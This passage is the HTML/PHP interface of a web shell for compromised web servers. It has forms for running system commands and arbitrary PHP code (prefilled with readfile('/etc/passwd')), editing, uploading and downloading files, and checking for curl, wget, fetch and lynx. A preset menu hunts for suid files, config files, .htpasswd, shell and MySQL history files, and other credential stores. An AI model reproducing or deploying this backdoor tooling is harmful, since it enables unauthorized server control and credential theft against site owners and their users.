</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><?php echo safe_mode();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testcurl();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testwget();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testfetch();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testlynx();?></b>
</td></tr>
</table></td>
<td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Perl:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server time:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server date:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Total space:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Free space:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><font size=2 color=green><?php echo testperl();?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('H:i');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('d-m-Y');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(disk_total_space(getcwd()));?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(diskfreespace(getcwd()));?></font></b>
</td></tr>
</table></td></tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td width=100% height=100% bgcolor='#333333' valign=top>
<table width=100%>
<tr><td valign=top align=center>
<table width=100% height=200 class='td1'>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=80 rows=13 name="value" class='ta'>
<?php echo htmlspecialchars(shell());?>
</textarea><?php echo edit();?></form>
</td>
<td valign=top align=left width=10%>
<table width=100% height=100% class='td2'>
<form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #000000;">
<b>.::System shell::.</b><br>
<input type=hidden name="type" value=2>
<center><input type=text name="value" size=35 class='ta'></center>
</ br><center><input type=submit value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr></form>
<tr><td valign=top align=left>
<form action method=POST>
<table>
<tr><td>
<b>.::PHP-code::.</b>
</td><td align=right>
<input type=submit value="Run code" class='bt'>
<input type=hidden name="type" value=1>
</td></tr>
<tr><td colspan=2>
<textarea rows=5 cols=26 name="value" class='ta'><?php echo "readfile('/etc/passwd');";?></textarea>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
<table>
<tr><td height=0></td></tr>
</table>
<table width=100% height=80 class='td1' valign=top>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::PWD::.</b>
</td><td align=right>
<input type=submit class='bt' value="cd">
<input type=hidden name="type" value=3>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::File Edit::.</b>
</td><td align=right>
<input type=submit class='bt' value="Edit">
<input type=hidden name="type" value=4>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=72 value=<?php echo pwd();?>>
</td></tr>
</table></form>
</td></tr>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Download::.</b>
</td><td align=right>
<input type=submit class='bt' value="Download">
<input type=hidden name="type" value=11>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form enctype="multipart/form-data" action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Upload::.</b>
</td><td align=right colspan=3>
<input type=submit class='bt' value="Upload">
<input type=hidden name="type" value=6>
</td></tr>
<tr><td colspan=2>
<font size=2 color=#888888>New name:</b>
<input type=text size=15 name="newname" class=ta>
</td><td width=4></td><td colspan=2>
<input type=file name="userfile" size=28>
</td></tr>
</table></form>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Alias::.</b>
</td><td align=right>
<input type=submit class='bt' value="RUN">
<input type=hidden name="type" value=7>
</td></tr>
<tr><td colspan=2>
<select name='value' class='ta' width=200>
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</table></form></td>
<script>
function base64Encode(str)
{
var charBase64 = new Array(
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'